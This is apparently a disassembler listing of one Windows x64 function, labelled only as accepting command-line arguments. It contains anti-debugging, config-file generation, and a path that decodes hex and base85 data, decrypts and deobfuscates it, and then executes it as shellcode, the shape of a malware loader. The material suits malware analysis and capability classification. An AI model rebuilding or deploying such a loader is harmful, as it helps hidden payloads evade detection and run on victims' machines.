Function at 0x140002955
Capabilities:
Accept command line arguments

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x4a0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x440], rcx
mov qword [rbp + 0x448], rdx
mov qword [rbp + 0x450], r8
mov dword [rbp + 0x458], r9d
call sym.anti_debug__
mov rax, qword [sym.imp.KERNEL32.dll_GetCommandLineW]
call rax
mov rcx, rax
lea rax, [rbp + 0x354]
mov rdx, rax
mov rax, qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
call rax
mov qword [rbp + 0x418], rax
mov rax, qword [sym.imp.KERNEL32.dll_AllocConsole]
call rax
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
call rax
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov rdx, rax
lea rax, [rbp + 0x348]
mov r9, rdx
lea r8, [0x1400d71d5]
lea rdx, str.CONOUT_
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_freopen_s]
call rax
lea rdx, [0x1400d71df]
mov rcx, qword [0x1400dcdb0]
call sym.unk_2743
mov rdx, qword [sym.unk_2730]
mov rcx, rax
call sym.unk_2706
mov eax, dword [rbp + 0x354]
cmp eax, 4
jne 0x140002a4f
mov rax, qword [rbp + 0x418]
add rax, 8
mov rax, qword [rax]
lea rdx, [0x1400d71fc]
mov rcx, rax
call sym.wcscmp
test eax, eax
jne 0x140002a4f
mov eax, 1
jmp 0x140002a54
mov eax, 0
test al, al
je 0x140002c14
lea rax, [rbp + 0x35b]
mov rcx, rax
call fcn.140075250
mov rax, qword [rbp + 0x418]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x35b]
lea rax, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
lea rax, [rbp + 0x35b]
mov rcx, rax
call sym.std::allocator_wchar_t_::allocator__
lea rax, [rbp + 0x35c]
mov rcx, rax
call fcn.140075250
mov rax, qword [rbp + 0x418]
add rax, 0x18
mov rdx, qword [rax]
lea rcx, [rbp + 0x35c]
lea rax, [rbp - 0x40]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
lea rax, [rbp + 0x35c]
mov rcx, rax
call sym.std::allocator_wchar_t_::allocator__
lea rax, [rbp + 0x35d]
mov rcx, rax
call fcn.140075110
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.unk_3570
mov rbx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.unk_3568
mov rdx, rax
lea rcx, [rbp + 0x35d]
lea rax, [rbp - 0x20]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string___gnu_cxx::__normal_iterator_wchar_t__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t_______void____gnu_cxx::__norma
lea rax, [rbp + 0x35d]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x35e]
mov rcx, rax
call fcn.140075110
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.unk_3570
mov rbx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.unk_3568
mov rdx, rax
lea rcx, [rbp + 0x35e]
mov rax, rbp
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string___gnu_cxx::__normal_iterator_wchar_t__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t_______void____gnu_cxx::__norma
lea rax, [rbp + 0x35e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rdx, [0x1400d7202]
mov rcx, qword [0x1400dcdb0]
call sym.unk_2743
mov rcx, rax
mov rax, rbp
mov rdx, rax
call sym.unk_3153
mov rdx, qword [sym.unk_2730]
mov rcx, rax
call sym.unk_2706
mov rdx, rbp
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.generate_config_file_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rax, qword [rbp + 0x418]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov ebx, 0
mov rax, rbp
mov rcx, rax
call sym.unk_3003
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.unk_3003
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.unk_3565
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.unk_3565
jmp 0x140003264
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.unk_2989
lea rax, [rbp + 0x300]
mov rcx, rax
call sym.unk_2989
lea rcx, [0x140108060]
call sym.unk_3025
test al, al
je 0x140002d7e
mov eax, dword [rbp + 0x354]
cmp eax, 2
je 0x140002cb2
lea rdx, [0x1400d721d]
mov rcx, qword [0x1400dcdb0]
call sym.unk_2743
mov rdx, qword [sym.unk_2730]
mov rcx, rax
call sym.unk_2706
lea rdx, str.:_.exe__i__bin___txt_
mov rcx, qword [0x1400dcdb0]
call sym.unk_2743
mov rdx, qword [sym.unk_2730]
mov rcx, rax
call sym.unk_2706
mov rax, qword [rbp + 0x418]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov ebx, 0
jmp 0x140003246
lea rax, [rbp + 0x35f]
mov rcx, rax
call fcn.140075250
mov rax, qword [rbp + 0x418]
add rax, 8
mov rdx, qword [rax]
lea rcx, [rbp + 0x35f]
mov rax, rbp
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
lea rax, [rbp + 0x35f]
mov rcx, rax
call sym.std::allocator_wchar_t_::allocator__
lea rax, [rbp + 0x38d]
mov rcx, rax
call fcn.140075110
mov rax, rbp
mov rcx, rax
call sym.unk_3570
mov rbx, rax
mov rax, rbp
mov rcx, rax
call sym.unk_3568
mov rdx, rax
lea rcx, [rbp + 0x38d]
lea rax, [rbp + 0x360]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string___gnu_cxx::__normal_iterator_wchar_t__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t_______void____gnu_cxx::__norma
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.unk_3005
lea rax, [rbp + 0x360]
mov rcx, rax
call sym.unk_3003
lea rax, [rbp + 0x38d]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, rbp
mov rcx, rax
call sym.unk_3565
jmp 0x140002ff6
mov eax, dword [rbp + 0x354]
cmp eax, 3
je 0x140002dea
lea rdx, [0x1400d721d]
mov rcx, qword [0x1400dcdb0]
call sym.unk_2743
mov rdx, qword [sym.unk_2730]
mov rcx, rax
call sym.unk_2706
lea rdx, str.:_.exe__txt____
mov rcx, qword [0x1400dcdb0]
call sym.unk_2743
mov rdx, qword [sym.unk_2730]
mov rcx, rax
call sym.unk_2706
mov rax, qword [rbp + 0x418]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov ebx, 0
jmp 0x140003245
lea rax, [rbp + 0x38e]
mov rcx, rax
call fcn.140075250
mov rax, qword [rbp + 0x418]
add rax, 8
mov rdx, qword [rax]
lea rcx, [rbp + 0x38e]
lea rax, [rbp - 0x20]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
lea rax, [rbp + 0x38e]
mov rcx, rax
call sym.std::allocator_wchar_t_::allocator__
lea rax, [rbp + 0x38f]
mov rcx, rax
call fcn.140075250
mov rax, qword [rbp + 0x418]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x38f]
mov rax, rbp
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
lea rax, [rbp + 0x38f]
mov rcx, rax
call sym.std::allocator_wchar_t_::allocator__
lea rax, [rbp + 0x3bf]
mov rcx, rax
call fcn.140075110
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.unk_3570
mov rsi, rax
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.unk_3568
mov rdx, rax
lea rcx, [rbp + 0x3bf]
lea rax, [rbp + 0x390]
mov r9, rcx
mov r8, rsi
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string___gnu_cxx::__normal_iterator_wchar_t__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t_______void____gnu_cxx::__norma
lea rdx, [rbp + 0x390]
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.unk_3005
lea rax, [rbp + 0x390]
mov rcx, rax
call sym.unk_3003
lea rax, [rbp + 0x3bf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3ef]
mov rcx, rax
call fcn.140075110
mov rax, rbp
mov rcx, rax
call sym.unk_3570
mov rsi, rax
mov rax, rbp
mov rcx, rax
call sym.unk_3568
mov rdx, rax
lea rcx, [rbp + 0x3ef]
lea rax, [rbp + 0x3c0]
mov r9, rcx
mov r8, rsi
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string___gnu_cxx::__normal_iterator_wchar_t__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t_______void____gnu_cxx::__norma
lea rdx, [rbp + 0x3c0]
lea rax, [rbp + 0x300]
mov rcx, rax
call sym.unk_3005
lea rax, [rbp + 0x3c0]
mov rcx, rax
call sym.unk_3003
lea rax, [rbp + 0x3ef]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x300]
lea rdx, [0x140108060]
mov rcx, rax
call method.bool_std::operator__char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
test al, al
je 0x140002fc0
lea rdx, str.
mov rcx, qword [0x1400dcdb0]
call sym.unk_2743
mov rdx, qword [sym.unk_2730]
mov rcx, rax
call sym.unk_2706
mov rax, qword [rbp + 0x418]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov ebx, 0
mov esi, 0
jmp 0x140002fc5
mov esi, 1
mov rax, rbp
mov rcx, rax
call sym.unk_3565
cmp esi, 1
je 0x140002fdc
mov esi, 0
jmp 0x140002fe1
mov esi, 1
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.unk_3565
cmp esi, 1
jne 0x140003245
lea rdx, [rbp + 0x320]
lea rax, [rbp + 0x3f0]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rax, [rbp + 0x3f0]
mov rcx, rax
call method.std::filesystem.exists_std::filesystem::__cxx11::path_const_
xor eax, 1
mov ebx, eax
lea rax, [rbp + 0x3f0]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
test bl, bl
je 0x14000308a
lea rdx, str.:
mov rcx, qword [0x1400dcdb0]
call sym.unk_2743
mov rcx, rax
lea rax, [rbp + 0x320]
mov rdx, rax
call sym.unk_3153
mov rdx, qword [sym.unk_2730]
mov rcx, rax
call sym.unk_2706
mov rax, qword [rbp + 0x418]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov ebx, 0
jmp 0x140003246
lea rdx, [rbp + 0x320]
lea rax, [rbp + 0x120]
mov r8d, 8
mov rcx, rax
call fcn.1400a8180
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.unk_2989
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.unk_2989
lea rax, [rbp + 0xc0]
mov rcx, rax
call sym.unk_2989
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.unk_3154
lea rdx, [rbp + 0xe0]
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.unk_3154
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.unk_3154
lea rax, [rbp + 0x120]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
lea rax, [rbp + 0xa0]
lea rdx, [rbp + 0xe0]
mov rcx, rax
call sym.advanced_hex_string_to_bytes_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x80]
lea rdx, [rbp + 0xc0]
mov rcx, rax
call sym.advanced_hex_string_to_bytes_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x60]
lea rdx, [rbp + 0x100]
mov rcx, rax
call sym.advanced_base85_decode_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x40]
lea r8, [rbp + 0x80]
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0x60]
mov r9, r8
mov r8, rcx
mov rcx, rax
call sym.variant_decrypt_std::vector_unsigned_char__std::allocator_unsigned_char____const__std::vector_unsigned_char__std::allocator_unsigned_char____const__std::vector_unsigned_char__std::allocator_unsigned_char____const_
lea rax, [rbp + 0x20]
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0x40]
mov r8, rcx
mov rcx, rax
call sym.variant_deobfuscate_std::vector_unsigned_char__std::allocator_unsigned_char____const__std::vector_unsigned_char__std::allocator_unsigned_char____const_
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.execute_shellcode_std::vector_unsigned_char__std::allocator_unsigned_char____const_
mov rax, qword [rbp + 0x418]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov ebx, 0
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0x60]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0x80]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0xa0]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0xc0]
mov rcx, rax
call sym.unk_3003
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.unk_3003
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.unk_3003
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.1400a8940
jmp 0x140003246
nop
lea rax, [rbp + 0x300]
mov rcx, rax
call sym.unk_3003
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.unk_3003
mov eax, ebx
jmp 0x14000348b
add rsp, 0x4a0
pop rbx
pop rsi
pop rbp
ret